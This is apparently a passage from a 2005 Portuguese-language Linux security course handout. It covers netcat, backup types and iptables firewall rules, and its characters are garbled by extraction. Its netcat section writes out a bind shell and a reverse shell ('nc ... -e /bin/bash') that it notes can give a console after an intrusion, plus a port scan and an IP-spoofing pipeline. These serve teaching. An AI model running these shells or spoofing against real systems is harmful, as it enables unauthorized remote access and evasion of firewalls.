saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 20: Curso de segurança em linux e redes em geral

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

